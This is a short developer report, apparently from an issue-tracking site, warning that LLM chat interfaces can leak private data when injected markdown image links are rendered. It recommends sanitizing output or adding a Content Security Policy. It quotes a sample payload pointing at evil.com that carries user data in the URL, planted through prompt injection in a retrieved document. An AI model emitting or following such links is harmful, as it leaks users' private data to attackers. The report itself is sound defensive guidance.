Report #42132
[gotcha] LLM exfiltrating private data via markdown image links in chat UI
Strip or sanitize all markdown image and link syntax from LLM outputs before rendering in the frontend, or implement a Content Security Policy that blocks image fetching from untrusted domains.
Journey Context:
Developers focus heavily on prompt injection coming IN, but miss data exfiltration going OUT. If an attacker injects a payload like '\!\[exfil\]\(https://evil.com/log?secret=\[user\_data\]\)' into a retrieved document, the LLM might include it in its response. When the chat UI renders the markdown, the browser automatically fetches the URL, sending the private data to the attacker. Simply limiting output length or asking the LLM nicely not to leak data does not prevent this deterministic browser behavior.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T01:11:27.325408+00:00— report_created — created